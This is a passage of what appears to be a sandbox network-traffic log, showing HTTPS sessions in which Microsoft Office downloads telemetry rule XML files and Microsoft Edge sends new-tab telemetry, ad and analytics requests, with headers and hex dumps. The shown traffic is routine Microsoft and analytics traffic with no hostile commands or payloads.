124	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:35 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 97090380-701e-0032-52b4-2aa540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020435Z-16849878b78tg5n42kspfr0x4800000008xg000000008w5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:35 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8cffccf2-101e-0046-26c7-2a91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020435Z-159b85dff8fdthgkhC1DFWk0rw00000000p000000000p8dr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49907	20.125.209.212	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	1165	OUT	GET /c.gif?rnd=1730340273831&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=975651cc5bb74788834f172e3f218273&activityId=975651cc5bb74788834f172e3f218273&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1
2024-10-31 02:04:35 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1730340273831&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=975651cc5bb74788834f172e3f218273&activityId=975651cc5bb74788834f172e3f218273&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D82108320B634A7C9AB122F8DD6A6885&RedC=c.msn.com&MXFR=3CD7EF6E4E356EB83574FA474F626FE4 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3CD7EF6E4E356EB83574FA474F626FE4; domain=.msn.com; expires=Tue, 25-Nov-2025 02:04:35 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49905	20.42.65.90	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	1072	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340273829&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4346 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1
2024-10-31 02:04:35 UTC	4346	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 54 30 32 3a 30 34 3a 33 33 2e 38 32 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 33 39 38 32 33 64 32 2d 63 64 61 30 2d 34 35 66 61 2d 38 63 32 61 2d 36 65 38 63 36 66 35 65 31 39 31 38 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 35 36 35 34 38 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-10-31T02:04:33.825Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"a39823d2-cda0-45fa-8c2a-6e8c6f5e1918","epoch":"2656548777"},"app":{"locale
2024-10-31 02:04:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f1b228415b094ac99d52f1bb766d582b&HASH=f1b2&LV=202410&V=4&LU=1730340275381; Domain=.microsoft.com; Expires=Fri, 31 Oct 2025 02:04:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c5ed83d5946245d29bf1b0f885572c14; Domain=.microsoft.com; Expires=Thu, 31 Oct 2024 02:34:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1552 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:35 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:35 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 69a14025-c01e-000b-6685-2ae255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020435Z-159b85dff8flqhxthC1DFWsvrs00000000tg000000007cps x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:35 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49908	20.1.248.118	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3CD7EF6E4E356EB83574FA474F626FE4&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=436f90f4762e4f90b410929cb150acb2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1
2024-10-31 02:04:35 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2611 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132727-T700343875-C128000000002114109+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114109+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 31 Oct 2024 02:04:35 GMT Connection: close
2024-10-31 02:04:35 UTC	2611	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4e 79 73 61 2c 20 50 6f 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4e 79 73 61 25 32 43 2b 50 6f 6c 61 6e 64 26 66 69 6c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Nysa, Poland\",\"cta\":\"https:\/\/www.bing.com\/search?q=Nysa%2C+Poland&fil

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020435Z-16849878b78bcpfn2qf7sm6hsn0000000ae000000000kdyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020435Z-16849878b78xblwksrnkakc08w000000084g00000000bums x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50381	108.156.211.59	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	1012	OUT	GET /b2?rn=1730340273832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3CD7EF6E4E356EB83574FA474F626FE4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1E05fe2ad745d696eb1eeb71730340275; XID=1E05fe2ad745d696eb1eeb71730340275
2024-10-31 02:04:35 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 31 Oct 2024 02:04:35 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a858bc3774f10c94d8baa59c0578ea78.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: hlH3SmXcSCcnVTULYsx3HZVOGavE2l0Mey40sPHsSbBGFvkdNWWIyA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	50380	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:36 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020436Z-17c5cb586f6fqqst87nqkbsx1c00000007eg000000002a6f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	50386	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
